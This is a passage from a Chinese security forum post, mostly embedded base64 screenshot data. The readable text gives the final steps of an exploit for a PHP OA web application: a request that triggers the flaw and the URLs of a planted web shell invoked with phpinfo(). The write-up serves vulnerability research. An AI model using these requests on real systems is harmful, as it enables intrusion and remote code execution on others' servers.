ru0prlhePqrlM8169AW5S6pDLiW5yqv73humPds6p6n1mmO4N/zOOftYNdJ9bpjuGS1t+pO5dJWj+r6t+qoOiYxCoUxz7Xq6qD63g9a9vhLh3Pjh+uWesiunYMv0PrbFv2ulmJVgYAAKBla/C1Xm3XXdX2E7ruiuxmu/45LVsvaf0sXRpKEGN1x112p2ZVy/bWrx8W3l94X8uWVSWSddYpjucEtFGNNlHP+GfXaVa4u/2y8DdAh2cQG6HQe8Jn69dLn30W/MZnuO64I/QXP1yz7qj+ThOnePY5fLiGVUVEdbkAAABA3Yyv9eK87hp/x6xw19rhs+4IJq3r9dlnquV6MTruuWXRZQ6/I7ROGj++2nVlXXWK5zkBbVTqksrgt0qhb4qWXVKtP3qzNF7P2s8q8u1l/Z0jSCwBAACqa/C1XgLXXeGWxPgNG27SzY1rQSARKW+pHD7rmXCX1WWXBPuoDxsW/sbpcPeBwz/rZg2PiIn8hmm9ZtXRt2BZeLqx9Vr2XLU//nj2WbU23N0h9Ca5/rll0f3k139m/IYGAADQGiV8rVe1tt7rrmV3Rsy3ER67OVzDhinqevHOiGvE9bPuDLYqBuOM1FKnuJ8T0PY0QvfX4Zr1zB3BP8LgQOjhsxTqoVDjBrqhgc7Dx+viULf5O0fU6GJw2OEB4Yf79o/Qc9XnIItnn+tnVc3qGuruENzZ8IvHa7ik4cND70rBLhHM/goAANq8BK/16rnuCgvNuh85C+v4O6q62kbsJ3KMZ3ginlBcvOqqUzzPCWijGmdM5fBZeubwV1gaMWu9xj8beU+jCMOGB99IhmvWumoT84x/NuY245+Njht+xzo9c3HNouvfZ4yq37Hu8DdP45+tOXgcAACgrUvoWi9GMZHXXeFlz9a4HrQjLsjGP2tHPa5vuanIOiXynIC2wDp11I9sSbJlK/ifZNtV/8pWn169tPzFF5qwitHWzwpNK12zzzsAAADiU7Bypcace25TV6MWh2/tESvRBNC8NNrsrwAAAACA1oekEgAAAACQMJJKAAAAAEDCXE1dAVPDZ62TPaupawEAAIDUqbqtB4CWwSEFJ+cJs2P+CgAAAABAdXR/BQAAAAAkjKQSAAAAAJAwkkoAAAAAQMJIKgEAAAAACWtxs78CAIDWbejU/23Q9hsWXJ2kmgAA4kFLJQAAiOmyyy7Tr3/960bdZ0MTymSVAQCIH0klAACI6YorrtCjjz6qm266qVH2l8xkkMQSABoP3V8BAEBMP/7xj/XMM8/o4osvVocOHTR79mx5vV796Ec/0ueff64OHTpo2LBhmjx5si6//HJ5PJ6k7v+4QT00uHd6vXEVXp/+9clmlXv9Sdnvrl27VFhYqDPOOCMp5QFAa0dSCQAAajVu3DgtWrRIl112mb755hstXrxYV111ldq3b6+SkhJ9+OGHuv766/XAAw9o8eLFysnJSdq+/98vTle/7p3rjbNt6aoHXtV7n29Lyn5XrVqlX/ziF9q7d69crqpLpS1btsjv96u0tFRbt27Vcccdp169eiVlfyGbN2/WnXfeqUAgUGecw+HQHXfcoQEDBiR1/wCQKJJKAABQp9LSUknS0qVLNXLkSP3qV7+KWv+HP/xBV155pU477TStXLlSo0aNSsp+z/v98+rWpX29cYcqfdpzsDwp+5SkU045RSUlJfrkk0900kknSZJmzpypFStW6ODBg7IsS263W3/605903XXXJW2/ANBSNUpSuWJqlqauiFwyVDevWaNbhjbG3puTIi285hotKopYlD1FCx6fouwmqlHyVD23t3If14Ip2dFrFl6jqZsma9Xto5umagCAhK1cuVLXXnutbrnlFg0YMEA33HCD2rVrp1/84hfhmH79+unVV1/VZZddpvPPP18ffvihBg0a1OB9l3v9+m53SYPLMXXEEUeod+/eeuutt8JJZWVlpSorK/Wvf/1LZ5xxhv785z/rxhtv1BlnnKGhQ5NzQTNgwAA98cQTSSmrsa2ZnafZqyOXZGvy44+r2iVBG8C1XsuzQffn5mrehohFQ2/WmjW3KCWpyoqpypoqLSheoLGpKL+JNNpEPUNvXqPi4mIVFxdrzc3SvNypWlH/ZjFtuD9XWbn3a0M9y5qr3NvztSo/X6vyH9dkLdTU6HdhAACahZ07d+qKK67QFVdcoblz5+r666/Xr371K1177bV65JFHomJdLpcWLVqkIUOGaNKkSfV24YxHO7dTfbt1qvOnndvZ4P3Ectppp+ntt9+OWnbmmWeGx1n+6le/UmZmpv71r3+lZP8tUfaUx4PXN/laMEVadM1srUmwrKKF1+isaxaqqJ5lzRXXei3P2AXFwVxljW7WPOVOTTRTaZuapPvr0Ftu1th5U/XSigUa25pSdGPZmjJ5tBYt2qQiqRV8gwUAaE3uuusupaWl6YEHHggvKykp0eDBg3XjjTeqR48euuiii8LrPB6PFi1apJycHP3973/X5MmTG7T/l+78mQb0qHtMpc8f0Jp1W3Xb029rdxK7wP7Xf/2X7r777qhlnTp1qvH44MGDSdtnaxpTmT1lsnIXztbq1bcrtyU2XiUN13otz1DdcvNYzZu3QRuk1LRWtkLN4JYiG3R/bpamrlihqVlZysoKtWCGHlf9hL4sWDE1S7nzNkgb5ik3K0tZU1fEWPaI7s+tWhe1p5bQmlm0UFPz8nRW8Cf0xdaa2Xk6K+Jbrurf1hUtvCZqffO2WrNjPMeihdforLzIbzWLtPCavBb0vACgdbFtWx06dIia1dXr9SonJ0e/+c1vNGnSJD355JNR25SWlsrv9ydlJtjbF76tGU++VefPPc+8r/49Omvu1bkN3l+k0047TTt37tSGDc36qqGFqPo8n7069Pkf+qyPfT2wZnaepi4sOnxNNHt1jGXPxbxGaBGtmVzrtcBrvdh5yeE8purfqvW5un9DHdu+ZFp29RypeWqSlsoN98/TiqE3a01EK+WKqS9pQXGxFlRF6P7cqdpw8xoV3zJU2nC/cnNzdf/QNbplQbGGHpWr3JfOj+jrPLbmshUfa97Ul7Riwdhgf+UVmjdvg8YuWNOMvnFYrdmzVyt7yuPhb67WrJFuzc+verx6ts6aPVtrRt+u3NzRUvhbriKtWSNla43W
<p>5、触发漏洞<br>
/index.php?a=input&amp;m=flow&amp;d=main&amp;id=0&amp;setid=163<br>
setid为第一步返回的id</p>
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624220831-3c9f00a0-3233-1.png><img src="data:image/png;base64,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
执行成功访问shell<br>
shell地址:/webmain/flow/input/mode_test123Action.php?pwa=phpinfo();<br>
Shell地址2:/?d=flow&amp;m=mode_test123|input&amp;pwa=phpinfo();</p>
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624220958-705bcb30-3233-1.png><img src="data:image/png;base64,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
<p>mode_test123Action.php = model_模块编号Action.php</p>
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624220912-54f5389a-3233-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABSgAAAIUCAYAAAAZjsLQAAEAAElEQVR4nOzdfXxU9Z3//VduIOSG3JKEIhCIoNwkFoVUMIo0aKUN8rO40dbVX3O1arbb7dW99PqZ7f6utbu9ft3teP10f27XbYN2f+lKbW0Wa2lSRZsU0Rg0gGjCnWBwBJFJyA0BEm5yc/1xzsycmTkzmYSE3L2fffgoOXPOme/MuZlzPufz/XwjonK/1o+IiIiIyBjTd/az0W7ChBSZ8LnRboKIiIiIj2hQfFJEREREZPLQ9b+IiIiMLQpQioiIiIhMKrr+FxERkbElur+/b7TbICIiIiIiV4iu/0VERGSsidYDVBERERGRSUTX/yIiIjLGRIOeoIqIiIiITB66/hcREZGxJXK0GyAiIiIiIiIiIiKTVzSqQSMiIiIiMnno+l9ERETGGNWgFBERERGZTHT9LyIiImOMalCKiIiIiEwquv4XERGRsSWafj1CFRERERGZNHT9LyIiImNMtPp4iIiIiIhMJrr+FxERkbFFGZQiIiIiIpOJrv9FRERkjFEGpYiIiIjIpKLrfxERERlblEEpIiIiImNSxJS40W7CxKTrfxERERljovs7j492G0RERERERERERGSSivjpL/9Tj1CvsNhLZwOmxcfHj0JLRERERERERERGVkxMzGg3Qca4yNFugIiIiIiIiIiIiExeClCKiIiIiIiIiIjIqFGAUkREREREREREREaNApQiIiIiIiIiIiIyahSgFBERERERERERkVGjAKWIjLiuri56e3sB6O/vp7+/H4De3l66urpGs2kitrTPTi7a3uOXtt3EoO04Pmm7yVBp3xnftP1kKM6cOUNPTw8QuN+cOXMGUIBSRK6Q1tZWent7iYiIICIigr6+Ptra2ka7WSJBaZ+dXLS9xy9tu4lB23F80naTodK+M75p+8lgRURE4HK5fPab3t5eTp486ZlHAUoRGXFxcXFMnz6d1tZW+vr66O/vp7W1lfj4eOLi4ka7eSIBtM9OLtre45e23cSg7Tg+abvJUGnfGd+0/WQoEhISSE5O5uTJk/T29tLX18fJkydJSkpi+vTpAESPchtFZBLo7+8nNjaWiIgIz5O1hIQEYmNj6e/vJyIiYpRbKOJL++zkou09fmnbTQzajuOTtpsMlfad8U3bT4aiv7+f+Ph4IiIiaGlp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
</div>
<div class=post-user-action style=margin-top:34px>
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=14920>
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
</span>
<span class="btn btn-default pull-right" id=follow_topic data-pk=14920>
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
</span>
<span class="btn btn-default pull-right">
<span>
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
</span>
</span>
<div class=clearfix></div>
</div>
<div class=related-section>
<div class=related-box>
<span><a class=pull-left href=https://xz.aliyun.com/t/14914 title="【翻译】威胁狩猎:利用MSC 文件一种新的免杀手法"><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>【翻译】威胁狩猎:利用MSC 文件...</a></span>
<span><a class=pull-left href=https://xz.aliyun.com/t/14921 title="CISCN 2024 华东北赛区php2正解"><span class=related-label>下一篇:</span>CISCN 2024 华东北赛区p...</a></span>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
<div class=modal-dialog>
<div class=modal-content>
<div class=modal-header>
